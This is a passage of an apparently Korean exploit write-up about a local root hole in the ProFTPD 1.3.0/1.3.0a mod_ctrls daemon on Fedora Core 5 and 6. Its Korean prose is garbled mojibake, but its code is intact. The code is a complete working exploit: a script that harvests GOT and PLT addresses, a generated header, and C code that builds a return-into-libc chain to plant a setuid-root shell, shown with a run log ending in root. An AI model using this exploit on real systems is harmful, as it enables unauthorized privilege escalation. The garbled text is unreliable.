È¯°æÀ̱⠶§¹®¿¡ ¿ø°Ý¿¡¼­ daemonÀ» °ø°ÝÇÏ´Â °Íº¸´Ù ´õ À¯¸®ÇÑ Á¶°ÇÀÇ local daemon exploit À̶ó ÇÒ ¼ö ÀÖ´Ù. - ÁÖ °ø°Ý Æ÷ÀÎÆ® 1) mod_ctrl ¸ðµå·Î ÄÄÆÄÀÏµÈ proftpd daemonÀº ¿ÀÁ÷ standalone mode·Î¸¸ µ¿ÀÛÇÑ´Ù. ±×·¡¼­, °ø°ÝÀÚ´Â ´Ü ÇÑ ¹ø¿¡ exploitÀ» ¼º°ø½ÃÄÑ¾ß ÇÏ´Â Á¶°ÇÀÌ µû¸¥´Ù. 2) daemonÀÇ °íÀ¯ uid´Â root(uid=0)·Î ¼öÇàµÇÁö¸¸, euid´Â nobody ±ÇÇÑÀ¸·Î µ¿ÀÛÇÑ´Ù. root·Î ¸í·ÉÀ» ¼öÇàÇÏ·Á¸é, setuid() °è¿­ ÇÔ¼ö¿Í ÇÔ²² ¼öÇàµÇ¾ß ÇÑ´Ù. ¿¹¸¦ µé¸é, chmod() ÇÔ¼ö¸¸À¸·Î´Â localÀÇ ¿øÇÏ´Â ÆÄÀÏ¿¡ setuid ±ÇÇÑ ¼³Á¤ÀÌ ºÒ°¡´ÉÇÏ´Ù. 3) read() ÇÔ¼ö¸¦ ÅëÇØ ³»¿ëÀ» ¹Þ±â ¶§¹®¿¡ buffer¿¡ NULL ÀÔ·ÂÀÌ °¡´ÉÇÏ´Ù. ºñ·Ï NULL ÀÔ·ÂÀÌ °¡´ÉÇÑ È¯°æÀÏÁö¶óµµ, random ÇÏ°Ô º¯ÇÏ´Â 16mb ¹Ì¸¸ ÁÖ¼Ò¸¦ ´Ü Çѹø¿¡ ¸ÂÃç °ø°ÝÇÏ´Â °ÍÀº »ç½Ç »ó ºÒ°¡´ÉÇÏ´Ù. 4) localÀÇ ftpdctl ¸í·ÉÀ» ÅëÇØ ¿øÇÏ´Â ³»¿ëÀ» ÀÔ·ÂÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù. ±×·¡¼­, ¿ì¸®ÀÇ exploitÀº ftpdctl ¸í·ÉÀ» »ç¿ëÇÒ °ÍÀÌ´Ù. 5) ³ªÀÇ FC5, FC6 ½Ã½ºÅÛ¿¡¼­´Â 540byte ÈÄ¿¡ ÀÌÀü ÇÔ¼öÀÇ %eip ·¹Áö½ºÅͰ¡ µ¤¾î¾º¿öÁö´Â °ÍÀ» ½ÃÇèÇÒ ¼ö ÀÖ¾ú´Ù. 6) proftpd´Â ´ÙÇàÈ÷ fork() µÇ´Â ÇÁ·Î¼¼½ºÀÇ uid±îÁö nobody·Î ¸¸µéÁö ¾Ê´Â´Ù. ¾Õ¼­, 2)¹ø »çÇ×À» ±Øº¹Çϱâ À§ÇØ exec family ÇÔ¼ö Áß ÇϳªÀÎ, execve() ÇÔ¼ö¸¦ È£ÃâÇÏ¿© ¿øÇÏ´Â ¸í·ÉÀ» root ±ÇÇÑÀ¸·Î ½ÇÇàÇÒ °ÍÀÌ´Ù. 7) (execve()>>16)&0xff °ªÀº endpwent() ÇÔ¼öÀÇ GOT¿¡¼­ ¾ò¾î¿À°í, (execve()>>8)&0xff °ªÀº FC5ÀÇ °æ¿ì srand() ÇÔ¼öÀÇ GOT, FC6ÀÇ °æ¿ì accept() ÇÔ¼öÀÇ GOT¸¦ ÅëÇØ ¾ò¾î¿Â´Ù. ´ç½ÅÀº ´ÙÀ½°ú °°ÀÌ getconf.sh ½ºÅ©¸³Æ®¸¦ ÅëÇØ ÀÚµ¿È­µÈ exploitÀ» ±¸µ¿½Ãų ¼ö ÀÖ´Ù. -- [x82@localhost pr0ftpd]$ id uid=500(x82) gid=500(x82) groups=500(x82) [x82@localhost pr0ftpd]$ cat /etc/redhat-release Fedora Core release 6 (Zod) [x82@localhost pr0ftpd]$ ./getconf.sh # # proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit # by Xpl017Elz # # [+] check mod_ctrls install: [OK] # [+] find os type: {1} - Fedora Core release 6 (Zod) # [+] check proftpd binary /usr/local/sbin/proftpd: [OK] # [+] strcpy()'s plt address: 0x0804a75c # [+] 12byte %esp move code address: 0x804af7f # [+] __libc_start_main()'s GOT address: 0x080b21d0 # [+] __libc_start_main()'s PLT address: 0x0804a45c # [+] get 0xfc byte address (FC5): 0x80a4dda # [+] virtual address start: 0x08048000 # [+] get null byte physical offset: 0x0000120 # [+] srand()'s GOT POINTER address (FC5): 0x080b2114 # [+] accept()'s GOT POINTER address (FC6): 0x080b2238 # [+] endpwent()'s GOT POINTER address: 0x080b2364 # [+] /tmp/ftp.cl path address: 0x80a9fd5 # [+] make header file # [+] compile pr0ftpd_modctrls.c # [*] execute pr0ftpd_modctrls # # [+] make shell # [+] make payload # [*] execute `/usr/local/bin/ftpdctl' # ftpdctl: error receiving response: Operation not permitted # # [+] remove files # [*] exploit successfully! # [*] It's root shell :-} # sh-3.1# id uid=0(root) gid=0(root) groups=500(x82) sh-3.1# -- ´Ü ÇѹøÀÇ °ø°ÝÀ¸·Î ½© ½ÇÇà¿¡ ¼º°øÇÑ °ÍÀ» º¼ ¼ö ÀÖ´Ù. (4) º°Ã· °ø°Ý ÄÚµå ´ÙÀ½¿¡ ¼Ò°³ÇÏ´Â getconf.sh´Â ÀÚµ¿ µð¹ö±ë ½ºÅ©¸³Æ®·Î½á, °ø°ÝÀÌ °¡´ÉÇÑ proftpd ¹öÀüÀÎÁö °Ë»çÇÏ°í °ø°Ý¿¡ ÇÊ¿äÇÑ µ¥ÀÌÅ͸¦ ¼öÁýÇÏ´Â ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. pr0ftpd_modctrls/getconf.sh: -- #!/bin/sh # # proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit # auto debugging script # -- # exploit by "you dong-hun"(Xpl017Elz), . # My World: http://x82.inetcop.org # echo "#" echo "# proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit" echo "# by Xpl017Elz" FTPD_CTL="/usr/local/bin/ftpdctl" FTPD_PATH="/usr/local/sbin/proftpd" echo "#" echo -n "# [+] check mod_ctrls install: " CHECK_MOD_CTRLS=`$FTPD_CTL -h | grep -e "usage" -e "options"` if [ "$CHECK_MOD_CTRLS" = "" ] then echo "[Fail]" echo "# [-] cannot install mod_ctrls." echo "#" exit fi echo "[OK]"; echo -n "# [+] find os type: " OS_TYPE=`cat /etc/redhat-release` RES1=`echo $OS_TYPE | grep -o 5` RES2=`echo $OS_TYPE | grep -o 6` if [ "$RES1" = "5" ]; then TYPE_NUM=0 else if [ "$RES2" = "6" ]; then TYPE_NUM=1 fi fi echo -n "{$TYPE_NUM} - " echo $OS_TYPE; echo -n "# [+] check proftpd binary $FTPD_PATH: " if [ ! -r $FTPD_PATH ] then echo "[Fail]" echo "# [-] cannot read $FTPD_PATH." echo "#" exit fi echo "[OK]"; echo -n "# [+] strcpy()'s plt address: " STRCPY_PLT=`objdump -d $FTPD_PATH | grep -e ':' | awk -F" " {'print "0x"$1'}` echo $STRCPY_PLT echo -n "# [+] 12byte %esp move code address: " MOVE_ESP=`objdump -D $FTPD_PATH | grep -e ret -B 2 | grep -e "pop %ebx" -A 1 | grep -e "pop %ebp" -B 1 | head -1 | awk -F" " {'print "0x"$1'} | sed 's/://g'` echo $MOVE_ESP echo -n "# [+] __libc_start_main()'s GOT address: " LIBC_START_MAIN_GOT=`objdump -R $FTPD_PATH |grep __libc_start_main | awk -F" " {'print "0x"$1'}` echo $LIBC_START_MAIN_GOT echo -n "# [+] __libc_start_main()'s PLT address: " LIBC_START_MAIN_PLT=`objdump -d $FTPD_PATH |grep "<__libc_start_main@plt>:" | awk -F" " {'print "0x"$1'}` echo $LIBC_START_MAIN_PLT echo -n "# [+] get 0xfc byte address (FC5): " FC_ADDR=`objdump -d $FTPD_PATH |grep -e" fc 00 " | tail -1 | awk -F" " {'print "0x"$1'} | sed 's/://g'` cat > gdb_scr << EOF x/b $FC_ADDR x/b x/b x/b x/b x/b x/b x/b EOF FC5_EXECVE_FC=`gdb $FTPD_PATH -batch -x gdb_scr | grep -e"0xfc" | awk -F" " {'print $1'}` echo $FC5_EXECVE_FC VMA_START=0x08048000; echo "# [+] virtual address start: $VMA_START" echo -n "# [+] get null byte physical offset: " NULL_BYTE_OFFSET=`xxd $FTPD_PATH | grep -e": 0000 0000" | head -1 | awk -F":" {'print "0x"$1'}` #VMA_START=`printf "%d" $VMA_START` #NULL_BYTE_OFFSET=`printf "%d" $NULL_BYTE_OFFSET` #VMA_NULL_BYTE=`expr $VMA_START + $NULL_BYTE_OFFSET` echo $NULL_BYTE_OFFSET echo -n "# [+] srand()'s GOT POINTER address (FC5): " SRAND_GOT=`objdump -R $FTPD_PATH | grep srand | awk -F" " {'print "0x"$1'}` echo $SRAND_GOT echo -n "# [+] accept()'s GOT POINTER address (FC6): " ACCEPT_GOT=`objdump -R $FTPD_PATH | grep accept | awk -F" " {'print "0x"$1'}` echo $ACCEPT_GOT echo -n "# [+] endpwent()'s GOT POINTER address: " ENDPWENT_GOT=`objdump -R $FTPD_PATH | grep endpwent | awk -F" " {'print "0x"$1'}` echo $ENDPWENT_GOT echo -n "# [+] /tmp/ftp.cl path address: " FTP_CL_PATH=`objdump -s $FTPD_PATH |grep /tmp|head -1|awk -F" " {'print "0x"$1'}` if [ "$FTP_CL_PATH" = "" ]; then FTP_CL_PATH=`objdump -s $FTPD_PATH |grep ftp.cl|head -1|awk -F" " {'print "0x"$1'}` if [ "$FTP_CL_PATH" = "" ]; then echo "[Fail]" echo "# [-] /tmp/ftp.cl path not found." echo "#" exit; fi fi cat > gdb_scr << EOF x/s $FTP_CL_PATH x/s x/s x/s x/s EOF FTP_CL_PATH=`gdb $FTPD_PATH -batch -x gdb_scr | grep /tmp/ftp.cl | awk -F" " {'print $1'}` echo $FTP_CL_PATH; echo "# [+] make header file" cat > debuggeerr.h << EOF #define DEF_TYPE_NUM $TYPE_NUM #define FTPD_CTL "$FTPD_CTL" #define FTP_CL_ADDR $FTP_CL_PATH /* /tmp/ftp.cl */ #define STRCPY_PLT $STRCPY_PLT #define MOVE_ESP $MOVE_ESP #define DEST_GOT $LIBC_START_MAIN_GOT #define DEST_PLT $LIBC_START_MAIN_PLT #define FC5_EXECVE_FC $FC5_EXECVE_FC /* FC5 */ #define NULL_BYTE_PTR $VMA_START + $NULL_BYTE_OFFSET /* FC6 */ #define SRAND_GOT $SRAND_GOT + 0x1 /* FC5 */ #define ACCEPT_GOT $ACCEPT_GOT + 0x1 /* FC6 */ #define ENDPWENT_GOT $ENDPWENT_GOT + 0x2 /* FC5, FC6 */ EOF echo "# [+] compile pr0ftpd_modctrls.c" rm -f gdb_scr gcc -o pr0ftpd_modctrls pr0ftpd_modctrls.c 2>/dev/null echo "# [*] execute pr0ftpd_modctrls" ./pr0ftpd_modctrls # # EOS # -- ´ÙÀ½Àº getconf.sh ½ºÅ©¸³Æ®¿¡ ÀÇÇØ ±¸ÇØÁö´Â Çì´õ ³»¿ëÀÌ´Ù. pr0ftpd_modctrls/debuggeerr.h: -- #define DEF_TYPE_NUM 1 #define FTPD_CTL "/usr/local/bin/ftpdctl" #define FTP_CL_ADDR 0x80a9fd5 /* /tmp/ftp.cl */ #define STRCPY_PLT 0x0804a75c #define MOVE_ESP 0x804af7f #define DEST_GOT 0x080b21d0 #define DEST_PLT 0x0804a45c #define FC5_EXECVE_FC 0x80a4dda /* FC5 */ #define NULL_BYTE_PTR 0x08048000 + 0x0000120 /* FC6 */ #define SRAND_GOT 0x080b2114 + 0x1 /* FC5 */ #define ACCEPT_GOT 0x080b2238 + 0x1 /* FC6 */ #define ENDPWENT_GOT 0x080b2364 + 0x2 /* FC5, FC6 */ -- ´ÙÀ½ ÄÚµå´Â ¼öÁýµÈ debuggeerr.h Çì´õ ³»¿ëÀ» Âü°íÇÏ¿© °ø°ÝÇÏ´Â main exploit codeÀÌ´Ù. pr0ftpd_modctrls/pr0ftpd_modctrls.c: -- /* ** ** proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon ** local `one shot' exploit in Fedora core 5, 6 exec-shield ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include "debuggeerr.h" #include struct strcpy_func { unsigned long strcpy_plt; unsigned long move_esp; unsigned long dest; unsigned long src; }; struct mk_execve { struct strcpy_func execve_1; struct strcpy_func execve_2; struct strcpy_func execve_3; unsigned long dest_plt; unsigned long dummy_4byte; unsigned long execve_arg1; unsigned long execve_arg2; unsigned long execve_arg3; }; struct os_type { int num; char *os_t; char *ftp_t; int offset; unsigned long execve_1; unsigned long execve_2; unsigned long execve_3; }; struct os_type os_plat[]={ { 0,"Fedora Core release 5 (Bordeaux)", "ProFTPD Version: 1.3.0, 1.3.0a (stable) tarball", 540, FC5_EXECVE_FC,SRAND_GOT,ENDPWENT_GOT }, { 1,"Fedora Core release 6 (Zod)", "ProFTPD Version: 1.3.0, 1.3.0a (stable) tarball", 540, NULL_BYTE_PTR,ACCEPT_GOT,ENDPWENT_GOT }, }; int make_proftp_cl_shell(){ FILE *fp; if((fp=fopen("/tmp/x0x.c","w"))==NULL) { fprintf(stderr,"# [-] /tmp/x0x.c fopen() error\n"); return -1; } fprintf(fp,"int main(){\n" "\tsetuid(0);\n" "\tsetgid(0);\n" "\texecl(\"/bin/sh\",\"sh\",\"-ip\",0);\n" "}\n"); fclose(fp); system("gcc -o /tmp/x0x /tmp/x0x.c 2>/dev/null"); if((fp=fopen("/tmp/ftp.cl","w"))==NULL) { fprintf(stderr,"# [-] /tmp/ftp.cl fopen() error\n"); return -1; } fprintf(fp,"#!/bin/sh\n" /* root uid child process */ "chown root: /tmp/x0x\n" "chmod 6755 /tmp/x0x\n"); fclose(fp); chmod("/tmp/ftp.cl",0x1ed); return 0; } int main() { unsigned char pro_ex[1024]; struct mk_execve __ex; struct stat __cs; int i; int j=0; int type=DEF_TYPE_NUM; memset(pro_ex,0,sizeof(pro_ex)); memset(pro_ex,0x78,os_plat[type].offset); printf("#\n# [+] make shell\n"); make_proftp_cl_shell(); printf("# [+] make payload\n"); __ex.execve_1.strcpy_plt=STRCPY_PLT; /* strcpy@plt */ __ex.execve_1.move_esp=MOVE_ESP; /* 12byte esp move */ __ex.execve_1.dest=DEST_GOT+j++; /* target GOT */ __ex.execve_1.src=os_plat[type].execve_1; /* execve() 1byte */ __ex.execve_2.strcpy_plt=STRCPY_PLT; /* strcpy@plt */ __ex.execve_2.move_esp=MOVE_ESP; /* 12byte esp move */ __ex.execve_2.dest=DEST_GOT+j++; /* target GOT */ __ex.execve_2.src=os_plat[type].execve_2; /* execve() 1byte */ __ex.execve_3.strcpy_plt=STRCPY_PLT; /* strcpy@plt */ __ex.execve_3.move_esp=MOVE_ESP; /* 12byte esp move */ __ex.execve_3.dest=DEST_GOT+j++; /* target GOT */ __ex.execve_3.src=os_plat[type].execve_3; /* execve() 1byte */ __ex.dest_plt=DEST_PLT; /* target plt */ __ex.dummy_4byte=0x82828282; /* dummy */ __ex.execve_arg1=FTP_CL_ADDR; /* argument #1 */ __ex.execve_arg2=NULL_BYTE_PTR; /* argument #2 */ __ex.execve_arg3=NULL_BYTE_PTR; /* argument #3 */ printf("# [*] execute `%s'\n#\n",FTPD_CTL); memcpy(pro_ex+strlen(pro_ex),&__ex,sizeof(__ex)); if((i=fork())==0){ execl(FTPD_CTL,FTPD_CTL,pro_ex,0); } wait(&i); printf("#\n# [+] remove files\n"); // sleep(10); /* debug */ unlink("/tmp/ftp.cl"); unlink("/tmp/x0x.c"); unlink("/tmp/x0x"); if((stat("/tmp/x0x",&__cs)==0)&&(__cs.st_mode&S_ISUID)) { printf("# [*] exploit successfully!\n"); printf("# [*] It's root shell :-}\n#\n"); execl("/tmp/x0x","x0x",0); } else { printf("# [-] exploit failed.\n#\n"); exit(-1); } return 0; } /* eoc */ -- * Reference Aleph One: "Phrack 49-7 - Smashing the stack for fun and profit" Solar Designer: "Getting around non-executable stack (and fix)" Rafal Wojtczuk: "Defeating Solar Designer non-executable stack patch" Nergal (Rafal Wojtczuk): "Phrack 58-4 - The advanced return-into-lib(c) exploits" Exec-shield: http://people.redhat.com/mingo/exec-shield/ my article: http://x82.inetcop.org/h0me/papers/FC_exploit/